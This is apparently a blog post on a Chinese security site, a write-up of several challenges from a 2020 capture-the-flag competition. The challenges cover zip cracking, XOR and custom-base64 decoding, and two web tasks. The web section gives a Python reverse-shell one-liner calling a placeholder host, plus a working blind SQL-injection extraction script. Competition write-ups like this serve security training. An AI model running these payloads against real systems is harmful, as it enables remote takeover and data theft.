首页
活动
招聘
安全导航

2020网鼎杯白虎组的部分wp

阅读量874002

|评论3

|

发布时间 : 2020-05-18 16:00:20

 

前言

记录下第二届网鼎杯白虎组的部分wp

 

Misc

签到

打开页面发现是一个游戏界面，查看源代码中的js文件，发现了一个ajax请求：

setTimeout(function () {
                if (n) {
                    return
                }
                if (e == l) {
                    var t = levelCount - 1;
                    if (t > strings.ok.length - 1) {
                        t = strings.ok.length - 1
                    }
                    if(levelCount>=7){
                        var token = prompt("please input your team Token:").trim();
                        $.ajax({
                            url: 'fate.php',
                            type: 'POST',
                            data: 'token=' + token,
                            success: function(data){
                                var data = data;
                                alert(data);
                            }
                        })
                    }
                    o.innerHTML = strings.ok[t];
                    k()
                }

找到了url：fate.php向这个页面post传递一个token值，就可以得到flag

YD4Pi9.png

hack

下载压缩包得到，压缩包中有sqlmap1.4 0day.zip 和xor。。。

YD4teS.png

发现文件是加密的。。尝试伪加密，发现不是未加密，，，

尝试爆破无果，唉，忽然想到会不会是明文攻击，
在网上下载一个sqlmap-1.4的文件，来进行明文攻击。。

YD76IS.png

得到了压缩包密码：

解压得到了0day.zip和xor文件
xor想到可以利用xortools进行爆破：

YD7Oz9.png

得到了密钥WDCTF:

尝试对xor进行解密：

#coding:utf-8

f = open('xor','rb')
w = open('xor1.png','ab')
line = f.read()
key = 'WDCTF'
# print hex(ord(line[1]))
for i in range(len(line)):

    w.write(chr(ord(line[i])^ord(key[i % 5])))

得到了解密后的文件 用winhex打开：

YDHEQA.png

得到了压缩包的密码：qw91!25fzd$@!

解压得到flag文件MZWGCZ33MY2DMODBGU2DCLJTGJSWKLJUMQZTOLLCHAZDKLJQMI4GCMRQGU2TQNJSGN6Q====

进行base32解密:

YDHMFS.png

hidden

打开压缩包，得到了一个图片：

winhex打开发现：

YDooyq.png

存在压缩包，用binwalk进行分离得到了一个压缩包：

YDoxp9.png

进行爆破密码，成功爆破得到了密码：

YDTZpd.png

得到了了一半的二维码，尝试修改高度：

YDT639.png

将43修改为85，保存文件，得到了完整的二维码：
扫描得到flag。。。

YD7AbV.png

 

web

picdown

打开题目，发现

YD6NOH.png

是一个图片下载器。。。

猜测可以下载源码：

尝试之后，得到main.py的源码：

YD65t0.png

main.py：

from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
    return render_template('search.html')


@app.route('/page')
def page():
    url = request.args.get("url")
    try:
        if not url.lower().startswith("file"):
            res = urllib.urlopen(url)
            value = res.read()
            response = Response(value, mimetype='application/octet-stream')
            response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
            return response
        else:
            value = "HACK ERROR!"
    except:
        value = "SOMETHING WRONG!"
    return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
    key = request.args.get("key")
    print(SECRET_KEY)
    if key == SECRET_KEY:
        shell = request.args.get("shell")
        os.system(shell)
        res = "ok"
    else:
        res = "Wrong Key!"

    return res


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

漏洞代码：

@app.route('/no_one_know_the_manager')
def manager():
    key = request.args.get("key")
    print(SECRET_KEY)
    if key == SECRET_KEY:
        shell = request.args.get("shell")
        os.system(shell)
        res = "ok"
    else:
        res = "Wrong Key!"

    return res

首先接受一个key值和SECRET_KEY相等，然后接受一个shell值，执行os.system(shell)这里可以反弹shell。

这里的SECRET_KEY是通过

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)

这里读出来的，尝试读取这个/tmp/secret.txt文件，发现不能读取成功：

YDcGEn.png

发现已经删除os.remove(SECRET_FILE),忽然想起来以前出现过类似的考点：

在 linux 系统中如果一个程序打开了一个文件没有关闭，即便从外部（上文是利用 os.remove(SECRET_FILE)）删除之后，在 /proc 这个进程的 pid 目录下的 fd 文件描述符目录下还是会有这个文件的 fd，通过这个我们即可得到被删除文件的内容。

尝试之后，在/proc/self/fd/3这里读取到SECRET_FILE

YDcxbj.png

然后进行python反弹shell

/no_one_know_the_manager?key=reIqMCng8hfnu3wD4RDyKnO76LdgLeOYrb6DuPNLzLc=&shell=python%20-c%20%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22xx.xx.xx.xx%22,9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/bash%22,%22-i%22]);%27

可以成功反弹shell,最终在/root/flag.txt中得到flag:

YD2Rne.png

flag{75a9190b-44a9-4f39-ba91-950743cbc18d}

张三的网站

打开页面，发现是一个登陆页面，注册一个账号看看里面的功能：

YDRU8P.png

登陆后发现：

YDRoVJ.png

页面只回显了用户名，忽然感觉这个题，有点熟悉的感觉了。。。

尝试注册用户名为2'+123+'，尝试登陆：

YDft6f.png

这不是上一届网鼎杯的原题吗？

直接拿脚本改一改：

import requests
import string
import re as r
import sys

reload(sys)
sys.setdefaultencoding("utf8")


url= "http://906482149bf841c0b701c2f92bfaaa213b708f2173aa4e0b.cloudgame1.ichunqiu.com/"


ch = '0123456789qwertyuiopasdfghjklzxcvbnm{-}'

re = requests.session()
flag = ''
for j in range(1,50):
    # payload = "0'+(select ascii(substr((database()) from  {} for {})))+'0".format(int(j),1)
    payload = "0'+(select ascii(substr((select * from flag) from  {} for {})))+'0".format(int(j),1)
    email = '{}aaaa@qq.com'.format(str(j)+'kslaml')
    url1 = url+'register.php' 
    data = dict(email = email, username = payload,password = 'aaaa')
    res = re.post(url1,data=data)


    url2 = url+'login.php'
    data = dict(email = email,password = 'aaaa')
    html = re.post(url2, data=data)
    html.encoding = 'utf-8'

    try:
        res = r.findall(r'<span class="user-name">(.*?)</span>',html.text,r.S)
        a = res[0][1:].strip()
        flag += chr(int(a))
        print flag
    except:
        pass

得到flag:

YDfccV.png

 

Crypto

b64

题目给出：

密文:uLdAuO8duojAFLEKjIgdpfGeZoELjJp9kSieuIsAjJ/LpSXDuCGduouz

泄露的密文:pTjMwJ9WiQHfvC+eFCFKTBpWQtmgjopgqtmPjfKfjSmdFLpeFf/Aj2ud3tN7u2+enC9+nLN8kgdWo29ZnCrOFCDdFCrOFoF=
泄露的明文:ashlkj!@sj1223%^&*Sd4564sd879s5d12f231a46qwjkd12J;DJjl;LjL;KJ8729128713

对泄露的密文尝试base64解码，发现失败，对泄露的明文进行base64加密，发现正好和泄露的密文的长度相等。。。

pTjMwJ9WiQHfvC+eFCFKTBpWQtmgjopgqtmPjfKfjSmdFLpeFf/Aj2ud3tN7u2+enC9+nLN8kgdWo29ZnCrOFCDdFCrOFoF=
YXNobGtqIUBzajEyMjMlXiYqU2Q0NTY0c2Q4NzlzNWQxMmYyMzFhNDZxd2prZDEySjtESmpsO0xqTDtLSjg3MjkxMjg3MTM=

于是可以猜测是换了码表

利用我们已知明文和对应密文来推算替换的码表，

我们将已知的明文进行base64加密，然后将加密的结果和密文进行一个对比：

a= 'pTjMwJ9WiQHfvC+eFCFKTBpWQtmgjopgqtmPjfKfjSmdFLpeFf/Aj2ud3tN7u2+enC9+nLN8kgdWo29ZnCrOFCDdFCrOFoF='
b='YXNobGtqIUBzajEyMjMlXiYqU2Q0NTY0c2Q4NzlzNWQxMmYyMzFhNDZxd2prZDEySjtESmpsO0xqTDtLSjg3MjkxMjg3MTM='


list_a=[]
for i in a:
    list_a.append(i)


list_b=[]
for i in b:
    list_b.append(i)


nvs = zip(list_a,list_b)


def deleteDuplicate(li):
    temp_list = list(set([str(i) for i in li]))
    li=[eval(i) for i in temp_list]
    return li

print deleteDuplicate(nvs)

得到了如下的对应关系：

[('d', 'x'), ('j', 'N'), ('8', 's'), ('B', 'i'), ('k', 'O'), ('T', 'X'), ('H', 'B'), ('F', 'M'), ('9', 't'), ('o', 'T'), ('M', 'o'), ('J', 'G'), ('W', 'q'), ('A', 'h'), ('p', 'Y'), ('Q', 'U'), ('q', 'c'), ('r', 'g'), ('u', 'Z'), ('v', 'a'), ('i', 'I'), ('D', 'k'), ('7', 'r'), ('N', 'p'), ('/', 'F'), ('K', 'l'), ('2', 'D'), ('e', 'y'), ('=', '='), ('g', '0'), ('S', 'W'), ('n', 'S'), ('Z', 'L'), ('w', 'b'), ('O', '3'), ('P', '4'), ('C', 'j'), ('3', 'd'), ('m', 'Q'), ('f', 'z'), ('t', '2'), ('L', 'm'), ('+', 'E')]

然后将密文中的字符进行替换， 对照发现还有几个字母的相对应的密文是未知的，分别是E I X s G z

然后根据，flag是uuid的性质，推测出来几位，然后进行手工验证，得到了flag

感觉也是运气比较好，尝试了几次就出来了

flag{1e3a2de5-1c02-4f4f-9b2e-a4afabdf01e6}

 

总结

打过网鼎杯，才知道自己有多菜了，，

大佬们tql…

还要努力呀。。。。

本文由p1ump原创发布

转载，请参考转载声明，注明出处： https://www.anquanke.com/post/id/205336

安全客 - 有思想的安全新媒体

分享到：微信
+111赞
收藏
p1ump
分享到：微信

发表评论

p1ump

这个人太懒了，签名都懒得写一个

  • 文章
  • 8
  • 粉丝
  • 3

TA的文章

相关文章

热门推荐

文章目录
安全客
商务合作
内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8：819797106
  • 官网QQ群3：830462644(已满)
  • 官网QQ群2：814450983(已满)
  • 官网QQ群1：702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66